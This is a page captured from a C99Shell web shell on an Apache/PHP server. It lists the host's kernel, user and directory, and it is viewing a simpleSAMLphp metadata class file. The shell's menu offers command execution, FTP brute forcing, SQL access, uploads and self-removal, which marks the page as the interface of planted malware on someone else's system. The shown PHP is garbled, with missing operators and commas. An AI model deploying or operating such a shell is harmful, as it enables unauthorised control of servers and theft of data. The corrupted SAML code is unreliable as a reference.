!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/lib/SAML2/XML/md/   drwxrwxr-x
Free 13.95 GB of 61.93 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AttributeConsumingService.php (2.94 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class representing SAML 2 Metadata AttributeConsumingService element.
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class SAML2_XML_md_AttributeConsumingService {

    
/**
     * The index of this AttributeConsumingService.
     *
     * @var int
     */
    
public $index;


    
/**
     * Whether this is the default AttributeConsumingService.
     *
     * @var bool|NULL
     */
    
public $isDefault NULL;


    
/**
     * The ServiceName of this AttributeConsumingService.
     *
     * This is an associative array with language => translation.
     *
     * @var array
     */
    
public $ServiceName = array();


    
/**
     * The ServiceDescription of this AttributeConsumingService.
     *
     * This is an associative array with language => translation.
     *
     * @var array
     */
    
public $ServiceDescription = array();


    
/**
     * The RequestedAttribute elements.
     *
     * This is an array of SAML_RequestedAttributeType elements.
     *
     * @var array
     */
    
public $RequestedAttribute = array();


    
/**
     * Initialize / parse an AttributeConsumingService.
     *
     * @param DOMElement|NULL $xml  The XML element we should load.
     */
    
public function __construct(DOMElement $xml NULL) {

        if (
$xml === NULL) {
            return;
        }


        if (!
$xml->hasAttribute('index')) {
            throw new 
Exception('Missing index on AttributeConsumingService.');
        }
        
$this->index = (int)$xml->getAttribute('index');

        
$this->isDefault SAML2_Utils::parseBoolean($xml'isDefault'NULL);

        
$this->ServiceName SAML2_Utils::extractLocalizedStrings($xmlSAML2_Const::NS_MD'ServiceName');
        if (empty(
$this->ServiceName)) {
            throw new 
Exception('Missing ServiceName in AttributeConsumingService.');
        }

        
$this->ServiceDescription SAML2_Utils::extractLocalizedStrings($xmlSAML2_Const::NS_MD'ServiceDescription');

        foreach (
SAML2_Utils::xpQuery($xml'./saml_metadata:RequestedAttribute') as $ra) {
            
$this->RequestedAttribute[] = new SAML2_XML_md_RequestedAttribute($ra);
        }
    }


    
/**
     * Convert to DOMElement.
     *
     * @param DOMElement $parent  The element we should append this AttributeConsumingService to.
     */
    
public function toXML(DOMElement $parent) {
        
assert('is_int($this->index)');
        
assert('is_null($this->isDefault) || is_bool($this->isDefault)');
        
assert('is_array($this->ServiceName)');
        
assert('is_array($this->ServiceDescription)');
        
assert('is_array($this->RequestedAttribute)');

        
$doc $parent->ownerDocument;

        
$e $doc->createElementNS(SAML2_Const::NS_MD'md:AttributeConsumingService');
        
$parent->appendChild($e);

        
$e->setAttribute('index', (string)$this->index);

        if (
$this->isDefault === TRUE) {
            
$e->setAttribute('isDefault''true');
        } elseif (
$this->isDefault === FALSE) {
            
$e->setAttribute('isDefault''false');
        }

        
SAML2_Utils::addStrings($eSAML2_Const::NS_MD'md:ServiceName'TRUE$this->ServiceName);
        
SAML2_Utils::addStrings($eSAML2_Const::NS_MD'md:ServiceDescription'TRUE$this->ServiceDescription);

        foreach (
$this->RequestedAttribute as $ra) {
            
$ra->toXML($e);
        }

        return 
$e;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.9351 ]--